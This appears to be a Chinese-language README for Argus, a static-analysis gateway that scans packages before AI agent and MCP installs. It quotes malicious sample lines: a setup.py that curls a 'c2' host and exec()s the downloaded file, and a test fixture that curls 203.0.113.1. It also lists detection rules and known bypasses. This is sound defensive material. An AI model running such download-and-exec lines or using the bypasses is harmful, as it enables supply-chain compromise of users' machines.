argusgate/argus
GitHub: argusgate/argus
Argus 是一款面向 AI agent 和 MCP 包安装的安全网关,通过安装前的源代码静态分析来拦截恶意 payload。
Stars: 1 | Forks: 0
# Argus
**用于 AI agent 和 MCP 包安装的安全网关。**
[](https://github.com/argusgate/argus/actions/workflows/ci.yml)
[](https://github.com/argusgate/argus/releases/latest)
[](go.mod)
[](LICENSE)
Argus 会在包安装之前对其进行拦截,并对其源代码执行静态分析,从而捕获那些绕过 manifest 级别检查的恶意 payload。如果存在严重级别的发现,安装将被阻止,并提示用户确认或中止。
## 快速开始
```
# 安装
brew tap argusgate/tap && brew install argus
# 安装前扫描
argus scan ./my-package && pip install ./my-package
argus scan package.tar.gz && npm install
```
## 目录
- [问题所在](#the-problem)
- [核心功能](#key-features)
- [安装](#installation)
- [GitHub Actions](#github-actions)
- [用法](#usage)
- [Agent 集成](#agent-integration)
- [规则覆盖范围](#rule-coverage)
- [架构](#architecture)
- [开发](#development)
- [已知限制](#known-limitations-v2-roadmap)
- [贡献](#contributing)
- [许可证](#licence)
## 问题所在
现代 AI agent 和 MCP 生态系统鼓励通过单条命令从互联网安装包。Manifest 检查(校验和、签名)验证的是*真实性*——它们无法告诉你代码实际上做了什么。攻击者可以发布一个看似合法的包,在安装时窃取凭证、开启反向 shell 或执行远程 payload。Argus 填补了这一空白。
## 核心功能
- **Go AST 分析** — 精确检测对危险 Go API 的调用点,避免字符串匹配产生的误报;import 别名将被解析为完整的包路径
- **正则表达式 + 熵扫描** — 扫描 Python、JavaScript、TypeScript、Ruby、Rust 和 shell 脚本,检测危险模式、硬编码的密钥以及高熵字符串
- **两个严重性级别** — `CRITICAL` 会阻止安装并弹出提示;`WARNING` 会被记录但不会阻止操作
- **嵌套归档扫描** — 自动解压并扫描包内嵌入的 `.tar.gz` 和 `.zip` 文件(最多深入 2 层)
- **Agent 安装拦截** — 可选的 `argus shell`、PATH shims 以及 Claude Code hook 支持,可保护 agent 直接运行的常见包管理器命令
- **Zip-slip 防护** — 归档提取时会拒绝路径遍历尝试
- **提取大小上限** — 归档提取时每个文件 100 MiB 的上限,可防范 zip-bomb payload;在 SAST 扫描期间会跳过大于 1 MiB 的源文件
- **CI 安全** — 非交互式会话会自动拒绝严重级别的发现并以退出码 1 退出;在 pipeline 中不会进行静默安装
- **零外部依赖** — 仅使用标准库
## 安装
### Homebrew(macOS 推荐)
```
brew tap argusgate/tap
brew install argus
```
### 预编译二进制文件
从[发布页面](https://github.com/argusgate/argus/releases)下载适用于您平台的二进制文件,并将其放置在您的 `PATH` 中:
```
# macOS (Apple Silicon)
curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-darwin-arm64
chmod +x argus && sudo mv argus /usr/local/bin/
# macOS (Intel)
curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-darwin-amd64
chmod +x argus && sudo mv argus /usr/local/bin/
# Linux (x86_64)
curl -fsSL -o argus https://github.com/argusgate/argus/releases/latest/download/argus-linux-amd64
chmod +x argus && sudo mv argus /usr/local/bin/
```
### 从源码构建
需要 Go 1.22 或更高版本。
```
git clone https://github.com/argusgate/argus.git
cd argus
go build -o argus ./cmd/argus/
sudo mv argus /usr/local/bin/
```
### go install
```
go install github.com/argusgate/argus/cmd/argus@latest
```
## GitHub Actions
将 Argus 添加到任何工作流中,以便在安装前扫描包:
```
- name: Scan package with Argus
uses: argusgate/argus@v0.1.0
with:
path: ./my-package
```
严重级别的发现会导致工作流失败(退出码 1)。警告会被记录但不会阻止操作。
## 用法
```
argus scan
```
`` 可以是:
| 格式 | 示例 |
|--------|---------|
| 本地目录 | `argus scan ./my-package` |
| `.tar.gz` 归档 | `argus scan package-1.2.3.tar.gz` |
| `.zip` 归档 | `argus scan package-1.2.3.zip` |
| Python wheel (`.whl`) | `argus scan package-1.2.3-py3-none-any.whl` |
| Rust crate (`.crate`) | `argus scan package-1.2.3.crate` |
| Ruby gem (`.gem`) | `argus scan package-1.2.3.gem` |
扫描无误时 Argus 以退出码 0 退出,存在严重级别的发现时则以 1 退出。这使得它可以与任何包管理器组合使用:
```
argus scan ./my-package && pip install ./my-package
argus scan package.tar.gz && npm install
```
### 抑制发现结果
默认情况下,包本地的抑制规则不受信任。被扫描的包可以包含 `.argusignore` 或内联的 `argus-ignore` 注释,但 Argus 会将包源码视为不受信任,不允许包自行抑制其发现的违规行为。
未来计划引入用户控制的策略文件,以支持受信任的本地抑制和组织级别的允许列表。
## Agent 集成
手动执行 `argus scan` 仍然是核心的基础操作,但 agent 通常会直接运行包管理器。Argus 为这些工作流添加了三个低摩擦的层级:
```
# 临时受保护会话
argus shell
npm install lodash
pip install requests
# 持久化 PATH shims
argus shim install
# Claude Code Bash hook
argus hook install claude
# 验证设置
argus doctor
```
shims 会拦截常见的安装命令(如 `pip install`、`uv add`、`npm install`、`pnpm add`、`yarn add`、`cargo add`、`go install` 和 `gem install`),扫描本地路径或解析后的包归档,如果扫描无误则交由真实的包管理器执行。
PATH shims 提供的是默认路径保护,而非沙箱。绝对二进制路径、`python -m pip`、`curl | sh`、直接的 `git clone && make install` 以及刻意的 `PATH` 重置都可能绕过本地拦截。请保持 CI 扫描开启,作为备用的强制执行点。
### 示例 — 无害的包
```
argus: running SAST scan on ./my-package
$
```
### 示例 — 严重发现
```
argus: running SAST scan on suspicious-mcp-server.tar.gz
ARGUS SAST — 3 critical finding(s) in suspicious-mcp-server.tar.gz
CRITICAL setup.py:7 subprocess usage
> subprocess.Popen(["curl", c2, "-o", "/tmp/.x"], shell=False)
CRITICAL setup.py:8 exec() usage
> exec(open("/tmp/.x").read())
CRITICAL src/utils.py:4 OpenAI API key
> SECRET_KEY = "sk-aBcDeFgHiJkLmNoPqRsTuVwXyZ123456789"
WARNING setup.py:6 raw IP address
WARNING src/utils.py:11 SSL certificate verification disabled
Scan anyway? [y/N]:
```
输入 `y` 可覆盖,或按 Enter 键中止。在非交互式环境(CI/CD pipeline)中,将跳过提示并以退出码 1 终止进程。
## 规则覆盖范围
### Go(基于 AST)
| 规则 | 匹配的调用 | 严重性 |
|------|--------------|----------|
| exec.Command 使用 | `exec.Command`、`exec.CommandContext` | CRITICAL |
| os.StartProcess 使用 | `os.StartProcess` | CRITICAL |
| syscall.Exec 使用 | `syscall.Exec`、`syscall.ForkExec` | CRITICAL |
| plugin.Open 使用 | `plugin.Open` | CRITICAL |
| unsafe 包使用 | 对 `unsafe` 包的任何选择器调用 | CRITICAL |
| net.Dial 使用 | `net.Dial`、`net.DialContext`、`net.DialTCP`、`net.DialUDP` | WARNING |
| http 出站请求 | `http.Get`、`http.Post`、`http.PostForm`、`http.Head` | WARNING |
Import 别名会被解析为其完整的 import 路径,因此 `import ex "os/exec"; ex.Command(...)` 的捕获方式与 `exec.Command(...)` 完全相同。
### Python
| 规则 | 模式 | 严重性 |
|------|---------|----------|
| eval() 使用 | `eval(` | CRITICAL |
| exec() 使用 | `exec(` | CRITICAL |
| os.system() 使用 | `os.system(` | CRITICAL |
| subprocess 使用 | `subprocess.call/run/Popen(` | CRITICAL |
| pty.spawn() 使用 | `pty.spawn(` | CRITICAL |
| pickle 反序列化 | `pickle.loads(`、`pickle.load(` | CRITICAL |
| 不安全的 yaml.load() | 未使用 `SafeLoader` 的 `yaml.load(` | CRITICAL |
| 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL |
| AWS 访问密钥 | `AKIA...` | CRITICAL |
| GitHub PAT | `ghp_...` | CRITICAL |
| OpenAI API key | `sk-...` | CRITICAL |
| getattr 间接调用 | `getattr(os/subprocess/sys/__builtins__, ...)` | CRITICAL |
| 带拼接属性的 getattr | `getattr(x, "ev"+"al")` | WARNING |
| 十六进制/unicode 转义混淆 | 4 个或更多连续的 `\xNN` 转义 | CRITICAL |
| 动态 import | `importlib.import_module(` | WARNING |
| 禁用 SSL 验证 | `verify=False` | WARNING |
| 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING |
### Ruby (`.rb`, `.rake`, `.gemspec`)
| 规则 | 模式 | 严重性 |
|------|---------|----------|
| eval() 使用 | `eval(` | CRITICAL |
| exec() 使用 | `exec(` | CRITICAL |
| system() 使用 | `system(` | CRITICAL |
| spawn() 使用 | `spawn(` | CRITICAL |
| IO.popen 使用 | `IO.popen(` | CRITICAL |
| Open3 使用 | `Open3.popen*/capture*/pipeline` | CRITICAL |
| Marshal 反序列化 | `Marshal.load(`、`Marshal.restore(` | CRITICAL |
| 不安全的 YAML.load() | 未使用 `safe_load`/`permitted_classes` 的 `YAML.load(` | CRITICAL |
| 反引号 shell 执行 | `` `cmd` `` | CRITICAL |
| 通过 %x 执行 shell | `%x{cmd}` 及其变体 | CRITICAL |
| 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL |
| AWS 访问密钥 | `AKIA...` | CRITICAL |
| GitHub PAT | `ghp_...` | CRITICAL |
| OpenAI API key | `sk-...` | CRITICAL |
| open() 管道 | `open("\| cmd")` | WARNING |
| 通过 send() 的动态分发 | `send(` | WARNING |
| 禁用 SSL 证书验证 | `VERIFY_NONE` | WARNING |
| 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING |
### Rust (`.rs`)
| 规则 | 模式 | 严重性 |
|------|---------|----------|
| unsafe 块 | `unsafe {` | CRITICAL |
| process::Command 使用 | `Command::new(` | CRITICAL |
| 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL |
| AWS 访问密钥 | `AKIA...` | CRITICAL |
| GitHub PAT | `ghp_...` | CRITICAL |
| OpenAI API key | `sk-...` | CRITICAL |
| 存在 build.rs | 任何 `build.rs` 文件(Cargo 编译时执行) | WARNING |
| FFI extern 块 | `extern "C" {` | WARNING |
| 文件嵌入宏 | `include_bytes!(`、`include_str!(` | WARNING |
| 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING |
`build.rs` 会被无条件标记——Cargo 会在安装完成之前的编译时执行它,这使得它成为一个编译时代码执行向量(无论其内容如何)。
### JavaScript / TypeScript
| 规则 | 模式 | 严重性 |
|------|---------|----------|
| eval() 使用 | `eval(` | CRITICAL |
| exec() 使用 | `exec(` | CRITICAL |
| child_process 使用 | `require('child_process')` | CRITICAL |
| new Function() 使用 | `new Function(` | CRITICAL |
| vm.runInNewContext() 使用 | `vm.runInNewContext(` | CRITICAL |
| 硬编码密钥 | `password/secret/api_key/token = "..."` | CRITICAL |
| AWS 访问密钥 | `AKIA...` | CRITICAL |
| GitHub PAT | `ghp_...` | CRITICAL |
| OpenAI API key | `sk-...` | CRITICAL |
| 禁用 SSL 验证 | `verify=false` | WARNING |
| 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING |
### Shell (`.sh`, `.bash`)
| 规则 | 模式 | 严重性 |
|------|---------|----------|
| eval 使用 | `eval ` | CRITICAL |
| exec 使用 | `exec ` | CRITICAL |
| 硬编码密钥 | `password/secret/api_key/token=...` | CRITICAL |
| 原始 IP 地址 | 点分十进制地址(仅限公共范围) | WARNING |
### 所有语言
| 规则 | 检测方式 | 严重性 |
|------|-----------|----------|
| 高熵字符串 | 对长度 32 个字符及以上的赋值字符串字面量(`x = "..."`)计算 Shannon 熵 ≥ 4.8;排除纯十六进制字符串(如 SHA、UUID) | WARNING |
私有和环回 IP 范围(RFC 1918、`127.x`、`10.x`、`192.168`、`172.16–31.x`)会被排除在原始 IP 规则之外。
## 架构
```
argus scan
│
├── 1. prepareWorkDir — extract archive to temp dir, or use directory as-is
│ ├── expandNestedArchives — recursively unpacks .tar.gz/.zip (max 2 levels)
│ └── sanitisePath — rejects zip-slip path traversal attempts
│
├── 2. scanner.Scan(dir)
│ │
│ └── fs.WalkDir — for each recognised source file:
│ ├── .go → GoASTScanner
│ │ ├── go/parser → AST walk
│ │ └── on parse failure → RegexScanner fallback
│ ├── .py → RegexScanner (pyRules)
│ ├── .js / .ts / .mjs → RegexScanner (jsRules)
│ ├── .rb / .rake / .gemspec → RegexScanner (rubyRules)
│ ├── .rs → RustScanner (rustRules + build.rs flag)
│ └── .sh / .bash → RegexScanner (shellRules)
│ └── + high-entropy assignment pass on every file
│
├── 3. printReport — CRITICAL findings to stderr with snippets
│
├── 4. confirm (if HasCritical)
│ ├── TTY → prompt user [y/N]
│ └── non-TTY → auto-decline, exit 1
│
└── 5. Exit 0 (clean) / Exit 1 (blocked)
caller is responsible for invoking the package manager
```
### 项目结构
```
argus/
├── cmd/
│ └── argus/
│ ├── scan.go — CLI entry point, archive extraction, scan flow
│ └── scan_test.go — integration tests
├── pkg/
│ └── scanner/
│ ├── sast.go — Scanner interface, GoASTScanner, RegexScanner, Scan()
│ └── sast_test.go — unit tests for all rules and edge cases
├── go.mod
├── LICENSE
└── README.md
```
### 核心类型
```
type Severity string
const (
Critical Severity = "CRITICAL"
Warning Severity = "WARNING"
)
type Finding struct {
File string // path relative to scanned package root
Line int // 1-based line number
Rule string // human-readable rule name
Snippet string // offending source line, trimmed
Severity Severity
}
type Report struct {
PackageDir string
Findings []Finding
HasCritical bool
}
type Scanner interface {
Scan(path string, content []byte) ([]Finding, error)
}
```
## 开发
### 前置条件
- Go 1.22 或更高版本
### 构建
```
go build -o argus ./cmd/argus/
```
### 运行测试
```
go test ./...
```
### 为所有平台交叉编译
```
GOOS=darwin GOARCH=arm64 go build -o dist/argus-darwin-arm64 ./cmd/argus/
GOOS=darwin GOARCH=amd64 go build -o dist/argus-darwin-amd64 ./cmd/argus/
GOOS=linux GOARCH=amd64 go build -o dist/argus-linux-amd64 ./cmd/argus/
GOOS=linux GOARCH=arm64 go build -o dist/argus-linux-arm64 ./cmd/argus/
GOOS=windows GOARCH=amd64 go build -o dist/argus-windows-amd64.exe ./cmd/argus/
```
### 使用真实包进行测试
```
# 正常流程 — 扫描一个大型、干净的 Python 项目
git clone https://github.com/pallets/flask /tmp/flask-test
./argus scan /tmp/flask-test
# 恶意测试固件 — 模拟真实的供应链攻击模式
mkdir -p /tmp/mal-pkg/src
echo 'import subprocess; subprocess.Popen(["curl","203.0.113.1"])' > /tmp/mal-pkg/setup.py
echo 'import pickle; pickle.loads(data)' > /tmp/mal-pkg/src/utils.py
./argus scan /tmp/mal-pkg
```
## 已知限制(V2 路线图)
当前的规则集无法捕获以下规避技术。在此记录是为了明确说明覆盖范围的边界:
| 技术 | 示例 |
|-----------|---------|
| 跨变量拆分密钥 | `k1="sk-abc"; k2="xyz"` |
| 作为位置参数的高熵密钥 | `connect("sk-realkey...")` — 熵检测仅在赋值(`x = "..."`)时触发 |
要可靠地检测到此类技术,需要引入污点流分析(taint-flow analysis)。
## 许可证
Copyright (C) 2026 Argus
本程序为自由软件:您可以将其重新分发和/或修改,但必须遵循自由软件基金会发布的 GNU Affero 通用公共许可证(GNU Affero General Public Licence)条款,即该许可证的第 3 版,或(由您自行选择)任何更高版本。
对于商业用途——包括将 Argus 嵌入专有产品或将其作为托管服务提供——需要获得商业许可证。请在当前仓库中提一个 issue 或发起讨论。
标签:AI代理, Cutter, EVTX分析, Go, IP 地址批量处理, LNA, Ruby工具, 云安全监控, 包管理, 可视化界面, 域名收集, 安全专业人员, 安全网关, 数据可视化, 日志审计, 逆向工具, 静态分析